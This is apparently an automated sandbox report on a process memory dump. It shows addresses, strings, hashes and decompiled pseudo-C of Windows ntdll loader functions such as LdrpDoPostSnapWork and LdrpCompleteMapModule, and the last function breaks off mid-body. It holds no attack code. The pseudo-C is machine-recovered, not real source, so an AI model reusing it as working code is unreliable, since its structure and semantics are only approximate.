0x00db92e8
0x00db92e8
0x00db92af
0x00d78eb9
0x00d78e45
0x00d78e53
0x00d78e5b
0x00d78e5f
0x00d78e78
0x00d78e78
0x00d78e7d
0x00d78ec3
0x00d78ecd
0x00d78ed2
0x00d78ed2
0x00d78ec5
0x00d78ec5
0x00000000
0x00d78e7d
0x00d78e67
0x00d78ea4
0x00db931a
0x00000000
0x00000000
0x00db9320
0x00d78ea4
0x00d78e70
0x00db9325
0x00db9340
0x00db9345
0x00db9345
0x00d78e76
0x00000000
0x00000000
0x00000000
0x00000000

Strings

Querying the active activation context failed with status 0x%08lx, xrefs: 00DB9357
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 00DB932A
*x, xrefs: 00D78E2C
minkernel\ntdll\ldrsnap.c, xrefs: 00DB933B, 00DB9367
LdrpFindDllActivationContext, xrefs: 00DB9331, 00DB935D

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c$*x
API String ID: 0-3208622277
Opcode ID: de1ff35b6b4aed1220970a9ea71c8ac6f56f38d60cc7a62db20af64c0bca9400
Instruction ID: 7b84c8e8eec46a92d1ecf641d32457cb1c5c0bf4af92f93fedfc68679aa1f0ce
Opcode Fuzzy Hash: de1ff35b6b4aed1220970a9ea71c8ac6f56f38d60cc7a62db20af64c0bca9400
Instruction Fuzzy Hash: A2411932A803159EDB346B14D84DA75B7B4AB10308F0DC16AF84DA7191FF729D84A2B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D58794, Relevance: 4.0, Strings: 3, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00D58794(void* __ecx) {
				signed int _v0;
				char _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t77;
				signed int _t80;
				signed char _t81;
				signed int _t87;
				signed int _t91;
				void* _t92;
				void* _t94;
				signed int _t95;
				signed int _t103;
				signed int _t105;
				signed int _t110;
				signed int _t118;
				intOrPtr* _t121;
				intOrPtr _t122;
				signed int _t125;
				signed int _t129;
				signed int _t131;
				signed int _t134;
				signed int _t136;
				signed int _t143;
				signed int* _t147;
				signed int _t151;
				void* _t153;
				signed int* _t157;
				signed int _t159;
				signed int _t161;
				signed int _t166;
				signed int _t168;

				_push(__ecx);
				_t153 = __ecx;
				_t159 = 0;
				_t121 = __ecx + 0x3c;
				if( *_t121 == 0) {
					L2:
					_t77 =  *((intOrPtr*)(_t153 + 0x58));
					if(_t77 == 0 ||  *_t77 ==  *((intOrPtr*)(_t153 + 0x54))) {
						_t122 =  *((intOrPtr*)(_t153 + 0x20));
						_t180 =  *((intOrPtr*)(_t122 + 0x3a));
						if( *((intOrPtr*)(_t122 + 0x3a)) != 0) {
							L6:
							if(E00D5934A() != 0) {
								_t159 = E00DCA9D2( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)), 0, 0);
								__eflags = _t159;
								if(_t159 < 0) {
									_t81 =  *0xe35780; // 0x0
									__eflags = _t81 & 0x00000003;
									if((_t81 & 0x00000003) != 0) {
										_push(_t159);
										E00DC5510("minkernel\\ntdll\\ldrsnap.c", 0x235, "LdrpDoPostSnapWork", 0, "LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x\n",  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)));
										_t81 =  *0xe35780; // 0x0
									}
									__eflags = _t81 & 0x00000010;
									if((_t81 & 0x00000010) != 0) {
										asm("int3");
									}
								}
							}
						} else {
							_t159 = E00D5849B(0, _t122, _t153, _t159, _t180);
							if(_t159 >= 0) {
								goto L6;
							}
						}
						_t80 = _t159;
						goto L8;
					} else {
						_t125 = 0x13;
						asm("int 0x29");
						_push(0);
						_push(_t159);
						_t161 = _t125;
						_t87 =  *( *[fs:0x30] + 0x1e8);
						_t143 = 0;
						_v40 = _t161;
						_t118 = 0;
						_push(_t153);
						__eflags = _t87;
						if(_t87 != 0) {
							_t118 = _t87 + 0x5d8;
							__eflags = _t118;
							if(_t118 == 0) {
								L46:
								_t118 = 0;
							} else {
								__eflags =  *(_t118 + 0x30);
								if( *(_t118 + 0x30) == 0) {
									goto L46;
								}
							}
						}
						_v32 = 0;
						_v28 = 0;
						_v16 = 0;
						_v20 = 0;
						_v12 = 0;
						__eflags = _t118;
						if(_t118 != 0) {
							__eflags = _t161;
							if(_t161 != 0) {
								__eflags =  *(_t118 + 8);
								if( *(_t118 + 8) == 0) {
									L22:
									_t143 = 1;
									__eflags = 1;
								} else {
									_t19 = _t118 + 0x40; // 0x40
									_t156 = _t19;
									E00D58999(_t19,  &_v16);
									__eflags = _v0;
									if(_v0 != 0) {
										__eflags = _v0 - 1;
										if(_v0 != 1) {
											goto L22;
										} else {
											_t128 =  *(_t161 + 0x64);
											__eflags =  *(_t161 + 0x64);
											if( *(_t161 + 0x64) == 0) {
												goto L22;
											} else {
												E00D58999(_t128,  &_v12);
												_t147 = _v12;
												_t91 = 0;
												__eflags = 0;
												_t129 =  *_t147;
												while(1) {
													__eflags =  *((intOrPtr*)(0xe35c60 + _t91 * 8)) - _t129;
													if( *((intOrPtr*)(0xe35c60 + _t91 * 8)) == _t129) {
														break;
													}
													_t91 = _t91 + 1;
													__eflags = _t91 - 5;
													if(_t91 < 5) {
														continue;
													} else {
														_t131 = 0;
														__eflags = 0;
													}
													L37:
													__eflags = _t131;
													if(_t131 != 0) {
														goto L22;
													} else {
														__eflags = _v16 - _t147;
														if(_v16 != _t147) {
															goto L22;
														} else {
															E00D62280(_t92, 0xe386cc);
															_t94 = E00E19DFB( &_v20);
															__eflags = _t94 - 1;
															if(_t94 != 1) {
															}
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															_t95 = E00D761A0( &_v32);
															__eflags = _t95;
															if(_t95 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t71 = _t118 + 0x40; // 0x3f
																	_t134 = _t71;
																	goto L55;
																}
															}
															goto L30;
														}
													}
													goto L56;
												}
												_t92 = 0xe35c64 + _t91 * 8;
												asm("lock xadd [eax], ecx");
												_t131 = (_t129 | 0xffffffff) - 1;
												goto L37;
											}
										}
										goto L56;
									} else {
										_t143 = E00D58A0A( *((intOrPtr*)(_t161 + 0x18)),  &_v12);
										__eflags = _t143;
										if(_t143 != 0) {
											_t157 = _v12;
											_t103 = 0;
											__eflags = 0;
											_t136 =  &(_t157[1]);
											 *(_t161 + 0x64) = _t136;
											_t151 =  *_t157;
											_v20 = _t136;
											while(1) {
												__eflags =  *((intOrPtr*)(0xe35c60 + _t103 * 8)) - _t151;
												if( *((intOrPtr*)(0xe35c60 + _t103 * 8)) == _t151) {
													break;
												}
												_t103 = _t103 + 1;
												__eflags = _t103 - 5;
												if(_t103 < 5) {
													continue;
												}
												L21:
												_t105 = E00D8F380(_t136, 0xd21184, 0x10);
												__eflags = _t105;
												if(_t105 != 0) {
													__eflags =  *_t157 -  *_v16;
													if( *_t157 >=  *_v16) {
														goto L22;
													} else {
														asm("cdq");
														_t166 = _t157[5] & 0x0000ffff;
														_t108 = _t157[5] & 0x0000ffff;
														asm("cdq");
														_t168 = _t166 << 0x00000010 | _t157[5] & 0x0000ffff;
														__eflags = ((_t151 << 0x00000020 | _t166) << 0x10 | _t151) -  *((intOrPtr*)(_t118 + 0x2c));
														if(__eflags > 0) {
															L29:
															E00D62280(_t108, 0xe386cc);
															 *_t118 =  *_t118 + 1;
															_t42 = _t118 + 0x40; // 0x3f
															_t156 = _t42;
															asm("adc dword [ebx+0x4], 0x0");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															_t110 = E00D761A0( &_v32);
															__eflags = _t110;
															if(_t110 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t134 = _v20;
																	L55:
																	E00E19D2E(_t134, 1, _v32, _v28,  *(_v24 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_v24 + 0x28)));
																}
															}
															L30:
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															E00D5FFB0(_t118, _t156, 0xe386cc);
															goto L22;
														} else {
															if(__eflags < 0) {
																goto L22;
															} else {
																__eflags = _t168 -  *((intOrPtr*)(_t118 + 0x28));
																if(_t168 <  *((intOrPtr*)(_t118 + 0x28))) {
																	goto L22;
																} else {
																	goto L29;
																}
															}
														}
													}
													goto L56;
												}
												goto L22;
											}
											asm("lock inc dword [eax]");
											goto L21;
										}
									}
								}
							}
						}
						return _t143;
					}
				} else {
					_push( &_v8);
					_push( *((intOrPtr*)(__ecx + 0x50)));
					_push(__ecx + 0x40);
					_push(_t121);
					_push(0xffffffff);
					_t80 = E00D89A00();
					_t159 = _t80;
					if(_t159 < 0) {
						L8:
						return _t80;
					} else {
						goto L2;
					}
				}
				L56:
			}

0x00d58799
0x00d5879d
0x00d587a1
0x00d587a3
0x00d587a8
0x00d587c3
0x00d587c3
0x00d587c8
0x00d587d1
0x00d587d4
0x00d587d8
0x00d587e5
0x00d587ec
0x00da9bfe
0x00da9c00
0x00da9c02
0x00da9c08
0x00da9c0d
0x00da9c0f
0x00da9c14
0x00da9c2d
0x00da9c32
0x00da9c37
0x00da9c3a
0x00da9c3c
0x00da9c42
0x00da9c42
0x00da9c3c
0x00da9c02
0x00d587da
0x00d587df
0x00d587e3
0x00000000
0x00000000
0x00d587e3
0x00d587f2
0x00000000
0x00d587fb
0x00d587fd
0x00d587fe
0x00d5880e
0x00d5880f
0x00d58810
0x00d58814
0x00d5881a
0x00d5881c
0x00d5881f
0x00d58821
0x00d58822
0x00d58824
0x00d58826
0x00d5882c
0x00d5882e
0x00da9c48
0x00da9c48
0x00d58834
0x00d58834
0x00d58837
0x00000000
0x00000000
0x00d58837
0x00d5882e
0x00d5883d
0x00d58840
0x00d58843
0x00d58846
0x00d58849
0x00d5884c
0x00d5884e
0x00d58850
0x00d58852
0x00d58854
0x00d58857
0x00d588b4
0x00d588b6
0x00d588b6
0x00d58859
0x00d58859
0x00d58859
0x00d58861
0x00d58866
0x00d5886a
0x00d5893d
0x00d58941
0x00000000
0x00d58947
0x00d58947
0x00d5894a
0x00d5894c
0x00000000
0x00d58952
0x00d58955
0x00d5895a
0x00d5895d
0x00d5895d
0x00d5895f
0x00d58961
0x00d58961
0x00d58968
0x00000000
0x00000000
0x00d5896a
0x00d5896b
0x00d5896e
0x00000000
0x00d58970
0x00d58970
0x00d58970
0x00d58970
0x00d58972
0x00d58972
0x00d58974
0x00000000
0x00d5897a
0x00d5897a
0x00d5897d
0x00000000
0x00d58983
0x00da9c65
0x00da9c6d
0x00da9c72
0x00da9c75
0x00da9c75
0x00da9c82
0x00da9c86
0x00da9c87
0x00da9c88
0x00da9c89
0x00da9c8c
0x00da9c90
0x00da9c95
0x00da9c97
0x00da9ca0
0x00da9ca3
0x00da9ca9
0x00da9ca9
0x00000000
0x00da9ca9
0x00da9ca3
0x00000000
0x00da9c97
0x00d5897d
0x00000000
0x00d58974
0x00d58988
0x00d58992
0x00d58996
0x00000000
0x00d58996
0x00d5894c
0x00000000
0x00d58870
0x00d5887b
0x00d5887d
0x00d5887f
0x00d58881
0x00d58884
0x00d58884
0x00d58886
0x00d58889
0x00d5888c
0x00d5888e
0x00d58891
0x00d58891
0x00d58898
0x00000000
0x00000000
0x00d5889a
0x00d5889b
0x00d5889e
0x00000000
0x00000000
0x00d588a0
0x00d588a8
0x00d588b0
0x00d588b2
0x00d588d3
0x00d588d5
0x00000000
0x00d588d7
0x00d588db
0x00d588dc
0x00d588e0
0x00d588e8
0x00d588ee
0x00d588f0
0x00d588f3
0x00d588fc
0x00d58901
0x00d58906
0x00d5890c
0x00d5890c
0x00d5890f
0x00d58916
0x00d58917
0x00d58918
0x00d58919
0x00d5891a
0x00d5891f
0x00d58921
0x00da9c52
0x00da9c55
0x00da9c5b
0x00da9cac
0x00da9cc0
0x00da9cc0
0x00da9c55
0x00d58927
0x00d58927
0x00d5892f
0x00d58933
0x00000000
0x00d588f5
0x00d588f5
0x00000000
0x00d588f7
0x00d588f7
0x00d588fa
0x00000000
0x00000000
0x00000000
0x00000000
0x00d588fa
0x00d588f5
0x00d588f3
0x00000000
0x00d588d5
0x00000000
0x00d588b2
0x00d588c9
0x00000000
0x00d588c9
0x00d5887f
0x00d5886a
0x00d58857
0x00d58852
0x00d588bf
0x00d588bf
0x00d587aa
0x00d587ad
0x00d587ae
0x00d587b4
0x00d587b5
0x00d587b6
0x00d587b8
0x00d587bd
0x00d587c1
0x00d587f4
0x00d587fa
0x00000000
0x00000000
0x00000000
0x00d587c1
0x00000000

Strings

minkernel\ntdll\ldrsnap.c, xrefs: 00DA9C28
LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x, xrefs: 00DA9C18
LdrpDoPostSnapWork, xrefs: 00DA9C1E

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: LdrpDoPostSnapWork$LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x$minkernel\ntdll\ldrsnap.c
API String ID: 0-1948996284
Opcode ID: 9666a5f89509ca1885d17e7246677fe3907d17c245621aba916fbcfbadc3285f
Instruction ID: cf8f80daabc3488040483067b76fdbd3d35eda98a09ea145f711264394220f33
Opcode Fuzzy Hash: 9666a5f89509ca1885d17e7246677fe3907d17c245621aba916fbcfbadc3285f
Instruction Fuzzy Hash: CA91F031A0061A9FDF18DF59D881ABAB7B5FF54316B584069EC05BB241EB30ED09DBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D57E41, Relevance: 3.9, Strings: 3, Instructions: 174
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00D57E41(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				signed int _t73;
				void* _t77;
				char* _t82;
				char* _t87;
				signed char* _t97;
				signed char _t102;
				intOrPtr _t107;
				signed char* _t108;
				intOrPtr _t112;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t126;

				_t107 = __edx;
				_v12 = __ecx;
				_t125 =  *((intOrPtr*)(__ecx + 0x20));
				_t124 = 0;
				_v20 = __edx;
				if(E00D5CEE4( *((intOrPtr*)(_t125 + 0x18)), 1, 0xe,  &_v24,  &_v8) >= 0) {
					_t112 = _v8;
				} else {
					_t112 = 0;
					_v8 = 0;
				}
				if(_t112 != 0) {
					if(( *(_v12 + 0x10) & 0x00800000) != 0) {
						_t124 = 0xc000007b;
						goto L8;
					}
					_t73 =  *(_t125 + 0x34) | 0x00400000;
					 *(_t125 + 0x34) = _t73;
					if(( *(_t112 + 0x10) & 0x00000001) == 0) {
						goto L3;
					}
					 *(_t125 + 0x34) = _t73 | 0x01000000;
					_t124 = E00D4C9A4( *((intOrPtr*)(_t125 + 0x18)));
					if(_t124 < 0) {
						goto L8;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(( *(_t107 + 0x16) & 0x00002000) == 0) {
						 *(_t125 + 0x34) =  *(_t125 + 0x34) & 0xfffffffb;
						L8:
						return _t124;
					}
					if(( *( *((intOrPtr*)(_t125 + 0x5c)) + 0x10) & 0x00000080) != 0) {
						if(( *(_t107 + 0x5e) & 0x00000080) != 0) {
							goto L5;
						}
						_t102 =  *0xe35780; // 0x0
						if((_t102 & 0x00000003) != 0) {
							E00DC5510("minkernel\\ntdll\\ldrmap.c", 0x363, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t125 + 0x24);
							_t102 =  *0xe35780; // 0x0
						}
						if((_t102 & 0x00000010) != 0) {
							asm("int3");
						}
						_t124 = 0xc0000428;
						goto L8;
					}
					L5:
					if(( *(_t125 + 0x34) & 0x01000000) != 0) {
						goto L8;
					}
					_t77 = _a4 - 0x40000003;
					if(_t77 == 0 || _t77 == 0x33) {
						_v16 =  *((intOrPtr*)(_t125 + 0x18));
						if(E00D67D50() != 0) {
							_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						} else {
							_t82 = 0x7ffe0384;
						}
						_t108 = 0x7ffe0385;
						if( *_t82 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E00D67D50() == 0) {
									_t97 = 0x7ffe0385;
								} else {
									_t97 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t97 & 0x00000020) != 0) {
									E00DC7016(0x1490, _v16, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
						}
						if(_a4 != 0x40000003) {
							L14:
							_t126 =  *((intOrPtr*)(_t125 + 0x18));
							if(E00D67D50() != 0) {
								_t87 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							} else {
								_t87 = 0x7ffe0384;
							}
							if( *_t87 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E00D67D50() != 0) {
									_t108 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t108 & 0x00000020) != 0) {
									E00DC7016(0x1491, _t126, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
							goto L8;
						} else {
							_v16 = _t125 + 0x24;
							_t124 = E00D7A1C3( *((intOrPtr*)(_t125 + 0x18)),  *((intOrPtr*)(_v12 + 0x5c)), _v20, _t125 + 0x24);
							if(_t124 < 0) {
								E00D4B1E1(_t124, 0x1490, 0, _v16);
								goto L8;
							}
							goto L14;
						}
					} else {
						goto L8;
					}
				}
			}

0x00d57e4c
0x00d57e50
0x00d57e55
0x00d57e58
0x00d57e5d
0x00d57e71
0x00d57f33
0x00d57e77
0x00d57e77
0x00d57e79
0x00d57e79
0x00d57e7e
0x00d57f45
0x00da9848
0x00000000
0x00da9848
0x00d57f4e
0x00d57f53
0x00d57f5a
0x00000000
0x00000000
0x00da985a
0x00da9862
0x00da9866
0x00000000
0x00da986c
0x00000000
0x00da986c
0x00d57e84
0x00d57e84
0x00d57e8d
0x00da9871
0x00d57eb8
0x00d57ec0
0x00d57ec0
0x00d57e9a
0x00da987e
0x00000000
0x00000000
0x00da9884
0x00da988b
0x00da98a7
0x00da98ac
0x00da98b1
0x00da98b6
0x00da98b8
0x00da98b8
0x00da98b9
0x00000000
0x00da98b9
0x00d57ea0
0x00d57ea7
0x00000000
0x00000000
0x00d57eac
0x00d57eb1
0x00d57ec6
0x00d57ed0
0x00da98cc
0x00d57ed6
0x00d57ed6
0x00d57ed6
0x00d57ede
0x00d57ee3
0x00da98e3
0x00da98f0
0x00da9902
0x00da98f2
0x00da98fb
0x00da98fb
0x00da9907
0x00da991d
0x00da991d
0x00da9907
0x00da98e3
0x00d57ef0
0x00d57f14
0x00d57f14
0x00d57f1e
0x00da9946
0x00d57f24
0x00d57f24
0x00d57f24
0x00d57f2c
0x00da996a
0x00da9975
0x00da9975
0x00da997e
0x00da9993
0x00da9993
0x00da997e
0x00000000
0x00d57ef2
0x00d57efc
0x00d57f0a
0x00d57f0e
0x00da9933
0x00000000
0x00da9933
0x00000000
0x00d57f0e
0x00000000
0x00000000
0x00000000
0x00d57eb1

Strings

LdrpCompleteMapModule, xrefs: 00DA9898
minkernel\ntdll\ldrmap.c, xrefs: 00DA98A2
Could not validate the crypto signature for DLL %wZ, xrefs: 00DA9891

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: 95f284df6415239ad099f51e9bb123fabc6ba15ebaa855e92e383369df831034
Instruction ID: 39f7909a3693c0e746fd9d18e0d94499e2c52d0c66cacbb6a8cde77bab7216b5
Opcode Fuzzy Hash: 95f284df6415239ad099f51e9bb123fabc6ba15ebaa855e92e383369df831034
Instruction Fuzzy Hash: 2F5101316087469BEB21CB68D856B2ABBE4EF02315F280599FC919B3D1D774ED04CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D4E620, Relevance: 3.9, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00D4E620(void* __ecx, short* __edx, short* _a4) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				void* _v76;
				void* _v84;
				signed int _t59;
				signed int _t74;
				signed short* _t75;
				signed int _t76;
				signed short* _t78;
				signed int _t83;
				short* _t93;
				signed short* _t94;
				short* _t96;
				void* _t97;
				signed int _t99;
				void* _t101;
				void* _t102;

				_t80 = __ecx;
				_t101 = (_t99 & 0xfffffff8) - 0x34;
				_t96 = __edx;
				_v44 = __edx;
				_t78 = 0;
				_v56 = 0;
				if(__ecx == 0 || __edx == 0) {
					L28:
					_t97 = 0xc000000d;
				} else {
					_t93 = _a4;
					if(_t93 == 0) {
						goto L28;
					}
					_t78 = E00D4F358(__ecx, 0xac);
					if(_t78 == 0) {
						_t97 = 0xc0000017;
						L6:
						if(_v56 != 0) {
							_push(_v56);
							E00D895D0();
						}
						if(_t78 != 0) {
							L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t78);
						}
						return _t97;
					}
					E00D8FA60(_t78, 0, 0x158);
					_v48 = _v48 & 0x00000000;
					_t102 = _t101 + 0xc;
					 *_t96 = 0;
					 *_t93 = 0;
					E00D8BB40(_t80,  &_v36, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\NLS\\Language");
					_v36 = 0x18;
					_v28 =  &_v44;
					_v64 = 0;
					_push( &_v36);
					_push(0x20019);
					_v32 = 0;
					_push( &_v64);
					_v24 = 0x40;
					_v20 = 0;
					_v16 = 0;
					_t97 = E00D89600();
					if(_t97 < 0) {
						goto L6;
					}
					E00D8BB40(0,  &_v36, L"InstallLanguageFallback");
					_push(0);
					_v48 = 4;
					_t97 = L00D4F018(_v64,  &_v44,  &_v56, _t78,  &_v48);
					if(_t97 >= 0) {
						if(_v52 != 1) {
							L17:
							_t97 = 0xc0000001;
							goto L6;
						}
						_t59 =  *_t78 & 0x0000ffff;
						_t94 = _t78;
						_t83 = _t59;
						if(_t59 == 0) {
							L19:
							if(_t83 == 0) {
								L23:
								E00D8BB40(_t83, _t102 + 0x24, _t78);
								if(L00D543C0( &_v48,  &_v64) == 0) {
									goto L17;
								}
								_t84 = _v48;
								 *_v48 = _v56;
								if( *_t94 != 0) {
									E00D8BB40(_t84, _t102 + 0x24, _t94);
									if(L00D543C0( &_v48,  &_v64) != 0) {
										 *_a4 = _v56;
									} else {
										_t97 = 0xc0000001;
										 *_v48 = 0;
									}
								}
								goto L6;
							}
							_t83 = _t83 & 0x0000ffff;
							while(_t83 == 0x20) {
								_t94 =  &(_t94[1]);
								_t74 =  *_t94 & 0x0000ffff;
								_t83 = _t74;
								if(_t74 != 0) {
									continue;
								}
								goto L23;
							}
							goto L23;
						} else {
							goto L14;
						}
						while(1) {
							L14:
							_t27 =  &(_t94[1]); // 0x2
							_t75 = _t27;
							if(_t83 == 0x2c) {
								break;
							}
							_t94 = _t75;
							_t76 =  *_t94 & 0x0000ffff;
							_t83 = _t76;
							if(_t76 != 0) {
								continue;
							}
							goto L23;
						}
						 *_t94 = 0;
						_t94 = _t75;
						_t83 =  *_t75 & 0x0000ffff;
						goto L19;
					}
				}
			}

0x00d4e620
0x00d4e628
0x00d4e62f
0x00d4e631
0x00d4e635
0x00d4e637
0x00d4e63e
0x00da5503
0x00da5503
0x00d4e64c
0x00d4e64c
0x00d4e651
0x00000000
0x00000000
0x00d4e661
0x00d4e665
0x00da542a
0x00d4e715
0x00d4e71a
0x00d4e71c
0x00d4e720
0x00d4e720
0x00d4e727
0x00d4e736
0x00d4e736
0x00d4e743
0x00d4e743
0x00d4e673
0x00d4e678
0x00d4e67d
0x00d4e682
0x00d4e685
0x00d4e692
0x00d4e69b
0x00d4e6a3
0x00d4e6ad
0x00d4e6b1
0x00d4e6b2
0x00d4e6bb
0x00d4e6bf
0x00d4e6c0
0x00d4e6c8
0x00d4e6cc
0x00d4e6d5
0x00d4e6d9
0x00000000
0x00000000
0x00d4e6e5
0x00d4e6ea
0x00d4e6f9
0x00d4e70b
0x00d4e70f
0x00da5439
0x00da545e
0x00da545e
0x00000000
0x00da545e
0x00da543b
0x00da543e
0x00da5440
0x00da5445
0x00da5472
0x00da5475
0x00da548d
0x00da5493
0x00da54a9
0x00000000
0x00000000
0x00da54ab
0x00da54b4
0x00da54bc
0x00da54c8
0x00da54de
0x00da54fb
0x00da54e0
0x00da54e6
0x00da54eb
0x00da54eb
0x00da54de
0x00000000
0x00da54bc
0x00da5477
0x00da547a
0x00da5480
0x00da5483
0x00da5486
0x00da548b
0x00000000
0x00000000
0x00000000
0x00da548b
0x00000000
0x00000000
0x00000000
0x00000000
0x00da5447
0x00da5447
0x00da5447
0x00da5447
0x00da544e
0x00000000
0x00000000
0x00da5450
0x00da5452
0x00da5455
0x00da545a
0x00000000
0x00000000
0x00000000
0x00da545c
0x00da546a
0x00da546d
0x00da546f
0x00000000
0x00da546f
0x00d4e70f

Strings

InstallLanguageFallback, xrefs: 00D4E6DB
\Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 00D4E68C
@, xrefs: 00D4E6C0

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
API String ID: 0-1757540487
Opcode ID: 1c417be279f367951f7ec2e695ae2324b6df3b7bd6e5385c56fda725f59bb4c2
Instruction ID: f9fb43922d1631a25f9c0dc4307c87bc111041293b69a36464fbba6084d56354
Opcode Fuzzy Hash: 1c417be279f367951f7ec2e695ae2324b6df3b7bd6e5385c56fda725f59bb4c2
Instruction Fuzzy Hash: 1451AC72908745ABC714DF24D440A6BB3E8FF89724F08096EF985D7250EB74DE4487B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D7FAB0, Relevance: 2.8, Strings: 2, Instructions: 306
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00D7FAB0(void* __ebx, void* __esi, signed int _a8, signed int _a12) {
				char _v5;
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v17;
				char _v20;
				signed int _v24;
				char _v28;
				char _v32;
				signed int _v40;
				void* __ecx;
				void* __edi;
				void* __ebp;
				signed int _t73;
				intOrPtr* _t75;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				intOrPtr _t83;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int _t114;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t123;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t134;
				signed int _t138;
				signed int _t141;
				signed int _t147;
				intOrPtr _t153;
				signed int _t154;
				signed int _t155;
				signed int _t170;
				void* _t174;
				signed int _t176;
				signed int _t177;

				_t129 = __ebx;
				_push(_t132);
				_push(__esi);
				_t174 = _t132;
				_t73 =  !( *( *(_t174 + 0x18)));
				if(_t73 >= 0) {
					L5:
					return _t73;
				} else {
					E00D5EEF0(0xe37b60);
					_t134 =  *0xe37b84; // 0x77ad7b80
					_t2 = _t174 + 0x24; // 0x24
					_t75 = _t2;
					if( *_t134 != 0xe37b80) {
						_push(3);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0xe37b60);
						_t170 = _v8;
						_v28 = 0;
						_v40 = 0;
						_v24 = 0;
						_v17 = 0;
						_v32 = 0;
						__eflags = _t170 & 0xffff7cf2;
						if((_t170 & 0xffff7cf2) != 0) {
							L43:
							_t77 = 0xc000000d;
						} else {
							_t79 = _t170 & 0x0000000c;
							__eflags = _t79;
							if(_t79 != 0) {
								__eflags = _t79 - 0xc;
								if(_t79 == 0xc) {
									goto L43;
								} else {
